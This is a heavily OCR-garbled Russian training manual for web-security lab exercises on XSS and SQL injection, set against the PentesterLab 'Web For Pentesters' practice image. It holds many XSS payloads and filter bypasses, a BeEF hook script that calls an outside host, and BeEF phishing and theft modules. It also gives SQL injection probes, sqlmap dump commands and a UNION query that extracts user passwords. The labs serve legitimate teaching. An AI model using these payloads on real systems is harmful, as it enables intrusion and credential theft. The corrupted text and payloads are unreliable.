aT- puOyTHbIH [16]. Huxe npuBeaens! npuMepsl XSS-BEKTOPOB ISl KaX- J0T0 U3 KOHTEKCTOB:

<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name=";alert(1);";</script>
<ahref="javascript:alert&Ipar;1rpar;">ClickMe</a>

<div class=""onmouseover="alert(1):">...</div>

<div syle="width:expre/**/ssion(alert(1))">...</div>

ITocsenoBaTeIbHOCTD ACHCTBHI
[lar 1. Ckauatp o00pa3 «WebForPentesters» c¢ BeG-caiita Www.pentesterlab.com. Co3znate
BUPTYaJIbHYIO MallIMHY. 3arpy3uThes ¢ JUcka. B Opay3epe OTKpHITh BEO-TIPUIIOKEHHUE.
lar 2. INepeiiTi no cebuike «XSS — Example 1». [Ipoananu3upoBarth JOruKky GyHKIHOHUPOBAHUS
BeO-tipmwitokeHuss. OnpenenuTs KOHTEKCT BO3MOXKHOW aTtaku XSS. B  kadecTBe mnepeMeHHOU
NnameBBECTH BEKTOP

<script>alert(1)</script>

[Iar 3. Iepetitunocceiike «XSS — Example 2». [Ipoananu3upoBaTh JOTUKY ()YHKIIHOHUPOBAHHMS
BeO-ipwitokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B  kadecTBe mnepeMeHHOU

NnameBBECTH BEKTOP
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<script>alert(1)</script>

Y6enutbes, 4To coBo scriptpunbTpyercs. BeectuBekTop

<ScRipT>alert(1)</sCrlpT>

Hlar 4. Iepeiiti no cebuike «XSS — Example 3». [Ipoananu3upoBaTh JOTHKY () YHKIIHOHUPOBAHHUS
BeO-npunoxkenus. Onpenenuth KOHTEKCT BO3MOXXKHOM arakm XSS. B kauecTBe mepeMeHHOU
NameBBECTH BEKTOP

<script>alert(1)</script>

Yo6enuTbes, 9To CI0BO <script>BbIpe3aercs. BBecTuBekTop

<scr<script>ipt>alert(1)</s</script>cript>

Hlar 5. [epetiTi mo cepuike «XSS — Example 4». [Ipoananu3upoBarh JOrUKy GyHKIHMOHUPOBAHUS
BeO-TipmwiiokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B kadecTBe mnepeMeHHOU
NameBBECTHU BEKTOP

<script>alert(1)</script>

Y0enutbes, 4To CI0BO <Script™> BbIpE3aeTcsi KOPPEKTHO. BBecTHBEKTOD

<img/src=1 onerror=alert(1)>
Hlar 6. IepeiiTi no cebuike «XSS — Example 5». [Ipoananu3upoBath J0ruKy (GyHKIMOHUPOBAHUS
BeO-mipmwiiokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B kadecTBe mnepeMeHHOU

nameBBECTHU BEKTOpaA

<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Y6enutbes, uTo c10Bo alert Bepe3aeTcsi KOppekTHO. BBecTuBekTOpa

<img/src=1 onerror=\uO061alert(1)>
<img/src=1 onerror=prompt(1)>

<imgsrc=1 onerror="t=/aler/.source%?2b/t(1)/.source; eval(t)">
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[ar 7. Tlepeiitu mo cceuike «XSS — Example 6». [Ipoananu3zupoBaTh JOTUKY () YHKITMOHUPOBAHUS
BeO-nipwitoxkeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B  kadecTBe mnepeMeHHOU

nameBBECTHU BEKTOpa

".alert(1);"

</script><script>alert(1);//

lar 8. [epetiTi mo cebuike «XSS — Example 7». [Ipoananu3upoBaTh JOTHKY () YHKIIHOHUPOBAHUS
BeO-nipmitokeHus. OnpenenuTh KOHTEKCT BO3MOXKHOM araku XSS. B kauecTBe mepemMeHHON name

BBCCTH BCKTOP

";alert(1);"
Yo6emutbes, uro cumBoa " kogupyercss B HTML-cymHocts &quot. B kadecTBe nepeMeHHOM name

BBCCTH BCKTOP

halert(1);'

[Har 9. Ilepeiitu no cebuike «XSS — Example 8». [Ipoananu3upoBarh J0rUKy (pyHKIIMOHUPOBAHUS
BeO-npuiioxkeHusa. OnpenenuTb KOHTEKCT BO3MOXHOM ataku XSS. BBoauMmble AaHHBIE KOAUPYIOTCS
koppekTHO. M3mennuts URL Ha cienyrommi:

xss/example8.php/“onsubmit="alert(1)

Hlar 10. Ilepeiitu mno ccbuike «XSS — Example 9». [IpoaHanu3upoBaTh JIOTHKY
(GyHKIIMOHUPOBaHUS BeO-puiokeHus. OnpeneinuTb KOHTEKCT M THI BO3MOXHOW araku XSS. B
Opaysepe mepeiTH o CChUTKE

xss/example9.php#<script>alert(1)</script>.
Y6enutbcs, uro Hukakoro HTTP-3anpoca He oTmpasisiercs.
[ar 11. 3anyctute cpeny skcmutyaraunn yszBuMmocted BeEF. Ilepeittn mo cceiike «XSS —

Example 1». B kauecTBe 3HAUCHUS napamMeTpa nameBBCCTU BEKTOP

<scriptsrc="http://1.1.1.1:3000/hook.js"></script>
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[lepeiitu B koHconb BeEF, BBectm crammapthHeie soruH u maponb (beef:beef). B pasmene

«OnlineBrowser» nomkeHn ortoOpaxkarbest Bamr Opayzep. Bo Bkimagke «Detailsy mnpocmorpersb

uHopmanuo o Opayse- pe u kommbrorepe. IlepeiitTu Bo Brimanky «Commandsy.

CIIEyIOIINE KOMaHAbl U IPOaHAIM3UPOBATh [1OJIYYEHHBIE PE3YJIbTATHI:

«CreateAlertDialogy;

«Redirect Browser», mnepeHamnpaBuB mojb3oBareis Ha cait http://evil.com;
«Clickjackingy;

«Clippy»;

«FakeNotificationBary;

«GooglePhishingy;

«PrettyTheft»

BOl'IpOCbI H 3a1aHUA

1. BpINONHUTH BCE 3aJlaHUs 10 IOUCKY YSI3BUMOCTEH K arakam XSS Ha calTeXSS-

game.appspot.com.

2. BBINONTHUTE HECKOJIBKO 33/1aHUH 110 MOMCKY YA3BUMOCTEH K aTa- KaM XSS Ha

caiiteescape.alf.nu.

BrinonuuTh

3. BbINOSHUTE HECKOJIBKO 33JaHUM 110 MOUCKY YA3BUMOCTEH K aTa- kaMm XSS Ha caiiteprompt.ml.

®dopma mpeacTaBiieHus pe3yJbTara:

IIpenocTaBUTh CKpUNT 3aJaHUI

Kpurepun ouenku:

Onenka "5" ctaBUTCA: BCs paboTa BBINOJIHEHA 0€30IIMO0YHO M HET UCIIPABICHUH;

Onenka "4" craBuTCS: AOMYIIEHBI 1-2 BEIYNCIUTENbHBIE OIIUOKH.

Onenka "3" craBUTCA: TOMYIIEHBI OIUMOKU B X0/I€ PELICHUS 3a7aui IPU NMPaBUIbLHOM BBITIOJHEHUH

BCE€X OCTaJIbHBIX 32U13HI/II>1 WM JOMYIICHBI 3-4 BLIYUCIIUTEIILHBIE OIHI/I6KI/I, IIpru 3TOM XOJ aHaJIM3a

JOJIKCH OBITh BCPHLIM.

Onenka "2" craBUTCS: MOMYIICHBI OMMOKK B XOJ€ pEIICHHWS 3aJa4d U XOTsS Obl OjHa

BBIYUCIUTEIbHAS OINMOKA WU Ipu aHaJln3C¢ U MNPUMCPOB JOMYIICHO Ooliee 5 BBIYUCIUTEIBHBIX

OLINOOK.
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MJIK 09.03 OBECIIEYEHHWE BE30ITACHOCTH BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonoruu obecneueHus: 0€30MaCHOCTH BEO — MPHUIOKEHUN

JlabopaTopHoe 3ansitue Ne 4
«ITouck ys3BuMocTeii k arakam SQL-injectiony

e padoTsi
Llenpto maboparopHoit pabOTHI SBIsIETCS OOyYEeHHWE METOJaM M CPEICTBaM HJICHTU(UKANUUA H

OKCIUTyaTaI[K YSI3BUMOCTEH B BeO- MPUIOKCHHX K arakam SQL-injection.

Beimosiaue padory, Bel Oynere:
ymembp:

VY35. ocylecTBIsATh ayAUT 0€30MaCHOCTH BEO-TIPHIIOKEHU;

Y01.2 aHanu3upoBath 33a9y U/WIHA TPOOJIEMY U BBICISATE €€ COCTaBHBIC YaCTH;

Y02.4 cTpyKTypHpOBaTh MOITYIaeMYyI0 HH(OPMAIIHIO;,

VY03.2 npuMeHsITh COBPEMEHHYIO HayYHYIO TPO(GECCHOHATLHYIO TEPMUHOJIOTHIO;

Y09.1 npumeHsTh cpencTBa HHGOPMAIIMOHHBIX TEXHOJIOTHH JIJIs perieHus npodeccnoHalibHbIX
3a/1ay;

¥ 09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[1K,rexcToBbIi penaktop biaokHOT,0pay3ep

3aganue:

BbIMOTHUTE HACHTU(PUKAITUIO U SKCIUTyaTaIMio ysI3BUMOCTeH K atakam SQL-injection.

KpaTkue TeopeTuyeckue cBeieHUs1

Araka BHenpeHus omeparopoB SQL (SQL-injection) — 3To BHeapeHWE BO BXOJHBIC JaHHBIEC,
oOpabaTbIBaeMble BEO-TIPHIIOKEHUEM, OIIepaTopoB sA3bika SQL.

HeoOxonumbiM ycroBueM ys3BUMOCTH K atake SQL-injection siBisieTcss HegocTaTouHasi o0paboTka
BXOJIHBIX HEJIOBEPEHHBIX JaHHBIX MpU GopMUpOBaHUHU BeO-puiioxkeHrneM SQL-3anpocos, 3aBUCSIINX
oT 3TuX AaHHbIX. ATaka SQL-injection MO3BOJNSET 3JIOYMBIIIJICHHUKY MOJYYUTh HEMOCPEICTBEHHBIH
JOCTYM K NaHHBIM yepe3 mexanu3Mbl CYB]] B 00x0a TOTHKH BEO-TIPUITIOKEHUS.

B 3aBucuMocTu ot ucrnonb3dyemoii BeO-mipmioxkenneM CYBJl u ycioBuil BHEIpPEHUS BBIJCISIOT
creayromre pasHoBuaHoctr atak SQL-injection [17]:

— KJIaccudecKas;

— «cnemnasy tunaboolean-based;
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— «caenas» tunatime-based;

error-based;

— BIJIOJKCHHAS;

dbparmMeHTUpOBaHHASI.

PaccmoTpuM  mpumepbl 0a30BBIX TECTOB, OOHAPYKHMBAIOIIUX YA3BUMOCTH IapameTtpa id k
arakeSQL-injection:

— http://www.test.app.com/index?id=1"

— http://www.test.app.com/index?id=1"

— http://www.test.app.com/index?id=1" order by1000
— http://www.test.app.com/index?id=1"--

— http://www.test.app.com/index?id=1'/*

— http://www.test.app.com/index?id=1"#

— http://www.test.app.com/index?id=1 and1=1--

— http://www.test.app.com/index?id=1 and1=2—

— http://www.test.app.com/index?id=1"and'1'="1

— http://www.test.app.com/index?id=1" and'1'="2

ITocTranoBKka 3agaun

ITocenoBaTeIbHOCTH ACHCTBHI

Hlar 1. Ckauatp o00pa3 «WebForPentesters» c¢ BeG-caiita Wwww.pentesterlab.com. Co3znatb
BUPTYaJIbHYIO MallIMHY. 3arpy3uThes ¢ TUcKa. B Gpaysepe OTKpbITh BEO-TIPUIIOKEHUE.

[lar 2. Ilepeiitumocceuike «SQLinjections — Example 1». IIpoananu3upoBarh JOTHKY
GyHKIMOHMpOBaHUS BeO-mprtokeHus. [locienoBaTelbHO BBECTH CIEYIONIME 3alpochl, oOparias
BHHMaHUE Ha BBIBOJI BEO-TIPUIIOKEHHUS, CAENaTh MPEAMNOI0KEHUE O CTPYKTYpe HCIosib3yeMoroSQL-
3arpoca:

— sqli/examplel.php?name=root’

sqli/examplel.php?name=root"

— sqgli/examplel.php?name=root'%201=1

— sqli/examplel.php?name=root'%201=1#

— sqli/examplel.php?name=root'%201=1%20—

— sqgli/examplel.php?name=root'%201=1%20/*

— sgli/fexamplel.php?name=root'%20'1'="1

— sgli/fexamplel.php?name=root'%20'1'="2

— sgli/fexamplel.php?name=root'%23sqli
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[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENATh BBIBOJ 00 yS3BHUMOCTH MapaMerpa name kK atake SQL-
injection. BBIMOTHUTE CIEYIONTYIO KO- MaH/Y:

# pythonsqglmap.py —pname —dmbs=mysgl —dump

—u http://1P_address/sqli/examplel.php?name=root

[IpocMoTpeTh pe3ynbTaThl pabOThl IPOrPaMMBIL, IIPOCMOTPETH MOy~ YCHHBIE JaHHbIC U3 0a3bl JAHHBIX.

Hlar 2. Ilepeiitu mo ccbuike «SQL injections — Example 2». IIpoananu3upoBarh JIOTHKY
GyHKIMOHMpOBaHUA BeO-npuioxkeHus. IlocimenoBaTenbHO BBECTH CIEIYIOLIME 3alpochl, oOpaluas
BHUMaHHE Ha BBIBOJ BEO-TIPUIIOKEHHS, CAETATh MPEIOIOKEHHE O CTPYKType HCIoib3yeMoroSQL-

3arpoca:

sgli/example2.php?name=root%20and%?201=1

sgli/example2.php?name=root'%09and%09'1'="1
— sgli/fexample2.php?name=root'%09and%09'1'="2

sgli/example2.php?name=root'%2b%2b’
[Tocnennue Tpu 3ampoca NO3BOJSIOT cIAeNaTh BbIBOJA 00 YSI3BUMOCTH Mapamerpa name K atake SQL-
injection. 3amycTuTh sqlmap, yOenuTh- Cs, YTO B JAHHOM cCllydyae OH HE CMOT HICHTU(UIIPOBATH
YS3BUMBIN TapaMeTp.

Hlar 3. Ilepeiitu mo cceuike «SQL injections — Example 3». IIpoananusupoBarh JOTHKY
¢GyHKUIMOHMpOBaHUS BeO-mpuiiokeHus. IlocienoBarenbHO BBECTH CIEYIOLIME 3alpochl, oOparas
BHHMaHUE Ha BBIBOJI BEO-TIPUIIOKEHUS, CAENaTh MPEANOI0KEHUE O CTPYKTYpe HCIosib3yeMoroSQL-

3arpoca:

sgli/example3.php?name=root%20and%201=1

sgli/fexample3.php?name=root'/**/and/**/'1'="1

sgli/example3.php?name=root'/**/and/**/'1'="2
— sqli/example3.php?name=root'%2b%?2b’
[Tocnennue Tpu 3ampoca MO3BOJSAIOT ClIENaTh BBIBOJA 00 ysI3BUMOCTH Mapamerpa name K atake SQL-
injection. 3amycTuth sqlmap, yoenuTh- cs, 9TO B JaHHOM CIy4dae OH HE CMOXKET WIACHTH(PHUIHMPOBATH
YSI3BUMBIN MapaMeTp.

ar 4. Ilepeiitu mo cceuike «SQL injections — Example 4». IlpoananusmpoBaTh JIOTHUKY
¢yHkumoHupoBaHus BeO-mnpuiiokeHus. IlocienoBarenbHO BBECTH CIEYIOLIME 3ampochl, oOparias
BHUMAaHME Ha BBIBOJ BEO-TIPHIIOKEHHS, CHIENaTh MPEAINOJIOKEHHE O CTPYKType Hcnosb3yemoroSQL-
3ampoca:
— sgli/fexample4.php?id=2
— sgli/fexample4.php?id=2'
— sgli/fexample4.php?id=2"
30



— sgli/fexample4.php?id=1%2b1
— sgli/fexample4.php?id=0%2b2
— sqli/example4.php?id=3-1
[Tocnemnue TpH 3ampoca MO3BOJIAIOT CenaTh BhIBOA 00 ys3BUMOCTH mapamertpa id x atake SQL-

injection. BBIMOIHUTE CleyIONTYI0 KOMaHTY:

# python sqlmap.py —p id —dmbs=mysql —dump
—u http://1P_address/sgli/example4.php?id=1
[IpocMoTpeTh TONTy4eHHBIC JaHHBIC U3 0a3bl aHHBIX. [IpocMoTpeTh ncxoausiii kogPHP-ciienapus.
[Mar 5. Ilepeiitn mo ccouike «SQL injections — Example 5». Ilpoananus3upoBaTh JIOTHKY
¢yHKIIMOHMpOBaHUs BeO-npuioxkeHus. [locienoBarenbHO BBECTU CIIEAYIOIIME 3alpochl, oOparas
BHHMaHUE Ha BBIBOJI BEO-TIPUIIOKEHUS, CAENATh MPEANOI0KEHUE O CTPYKType Hcnosib3yeMoroSQL-
3amnpoca:
— sgli/fexample5.php?id=2
— sgli/fexample5.php?id=2'
— sqli/example5.php?id=2"
— sqli/example5.php?id=1%2b1
— sgli/fexample5.php?id=0%2b2
— sgli/fexample5.php?id=3-1
[Tocneanue Tpu 3ampoca MO3BOJISAIOT clieNaTh BhIBOZ 00 ysi3BUMOCTH napamerpa id k arake SQL-

injection. BBIMOTHUTE CIENYIONTYI0 KOMaHTY:

# python sqlmap.py —p id —dmbs=mysqgl —dump
—u http://1P_address/sgli/example5.php?id=1

[IpocMoTpeTs onyueHHbIE JaHHbBIE U3 0a3bl JaHHBIX. [IpocMoTpeTs ucxoanblil kox PHP-ciienapust.
Hlar 6. Ilepeiitu mo cceuike «SQL injections — Example 5». IIpoananu3upoBarh JOTHUKY
(GyHKIIMOHUPOBAHUSI BEO-TIPUIIOKEHUS.
[TocnemoBaTebHO BBECTH CIEAYIOIIUE 3ampOChl, 0Opaias BHUMAaHWE Ha BBIBOJ BEO-TIPUIIOKEHUS,
cenaTh NPEAIOI0KEHUE O CTPYKType ucnoabzyemoroSQL-3anpoca:
— sqli/example6.php?id=2
— sqli/example6.php?id=2'
— sgli/fexample6.php?id=2"
— sgli/fexample6.php?id=1%2b1
— sgli/fexample6.php?id=0%2b2
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— sgli/fexample6.php?id=3-1
— sgli/fexample6.php?id=5-3

[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENaTh BBIBOJ 00 ysA3BUMOCTH mapamerpa id k atake SQL-
injection. 3amyctuth sqlmap, yOeauTbesi, YTO B JAaHHOM CIIydae OH HE MOXKET MPOAKCIUTYaTUPOBAThH
ys13BUMBIN napametp. IIpocmorpers ucxoausiii kox PHP-cuenapus.

[lar 7. Ilepetitu mo cceuike «SQL injections — Example 5». Ilpoananu3upoBaTh JIOTHKY
GYHKIMOHUPOBaHUs BeO-mpuiiokeHus. IlociemoBaTebHO BBECTH CIENYIONINME 3alpoChl, oOparas
BHUMaHUE Ha BBIBOJ BEO-TIPUIIOKEHUS, CAENATh NPEAINOI0KEHUE O CTPYKTYpe HCIosIb3yeMoroSQL-
3arpoca:

— sgli/example7.php?id=2

— sgli/fexample7.php?id=2'

— sqli/example7.php?id=2"

— sqli/example7.php?id=1%2b1

— sgli/fexample7.php?id=3-1

— sgli/fexample7.php?id=2%0Aand%201=1
— sqli/example7.php?id=2%0Aand%201=2
— sqli/example7.php?id=2%0A%23sqli

HOCJ’IGI[HI/IG TPpU 3allpoca IMO3BOJAIOT CACIATH BBIBO 00 YA3BUMOCTHU I1apaMeTpa id k araxe SQL-
injection. 3amycTuth sqlmap, yoeauTbcs, YTO B JJAHHOM CJIy4ae OH HE MOXET MPO3KCILTYyaTHpPOBATh
ySI3BUMBIH MapameTp. BeImomHUTh crneayromye 3anpock! 11 n3BneyeHus naiubeix u3 CYB/I:

— sgli/fexample7.php?id=2%0Aunion%20select%201

— sgli/fexample7.php?id=2%0Aunion%20select%201,2

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3,4

— sgli/fexample7.php?id=2%0Aunion%?20select%201,2,3,4, 5

— sgli/fexample7.php?id=2%0Aunion%?20select%20name, passwd,1,1,1 from users
Py‘{HBIMI/I METOdaMH TMOJYYUTH HAHHBIC U3 0asbl JaHHBIX.

IIpocmotpers ucxonuslit ko PHP-cuenapus.

Bonpocsl u 3apanus

1. C momomipio mporpammel sqlmap uaeHTH(UIMPOBATH Ys3BUMBIH K arake SQL-injection
napamerp u mnonyuuth conxepxkumoe CYBJl B cmyuae, korga BeO-NPHIIOKEHHE 3allperaeT
MCIOJIb30BaHUE TIPOOETIOB BO BXOIHBIX JAHHBIX.

2. Iloctpoutrs u BeIMOMHUTE SQL-3ampoc, MpUBOAAIIMK K OTKa3y B OOCITY)KHBAaHHH BeO-

NPUIOKEHHS, YSI3BUMOTO K atakeSQL-injection.
32



3. [ns BeO-nipriioskeHUs, yI3BUMOTO K atake SQL-injection U nc- MONB3YIOMIETO VIS XPAHCHUS
JTAHHBIX CYbJ MySQL, MOJYYUTh co- JIEPKUMOE CITyX)eOHOM 0a3sI
naHHbIXINFORMATION SCHEMA.

®opma npeacraBiaeHus pe3yJbTara:
IIpenocTaBuTh CKpUIIT 3aJaHUN

Kpurepun onenkmn:

Onenka "5" cTaButTcs: Bcsi paboTa BBINOIHEHA 0€30IIMO0YHO U HET NCIPABJICHUH;
Onenka "4" ctaBuUTCS: ONYLIEHBI 1-2 BEIUNCIUTEIbHBIE OIINOKH.

Onenka "3" cTaBUTCsS: [OMYIIEHBbI OLIMOKM B XOJI€ pEUICHHs 3aJaddl IpH MPaBUIHHOM
BBITIOJTHEHUH BCEX OCTAIBHBIX 33JaHUU WM JOMYIMIEHBI 3-4 BBIYUCIUTEIBHBIC OMIUOKH, TIPU ITOM

XOJ] aHAJIN3a JOJDKEH OBITh BEPHBIM.

Onenka "2" craBUTCSA: NONYIICHBI OMMOKM B XOJ€ PEIICHHS 33aJa4d M XOTs OBl OJHA
BBIUMCIIUTENbHAS OMMUOKAa WM TPU aHAIU3€ U MPUMEPOB JOIYIIEHO Oojiee 5 BBIYHUCIUTENbHBIX

OILINOOK.
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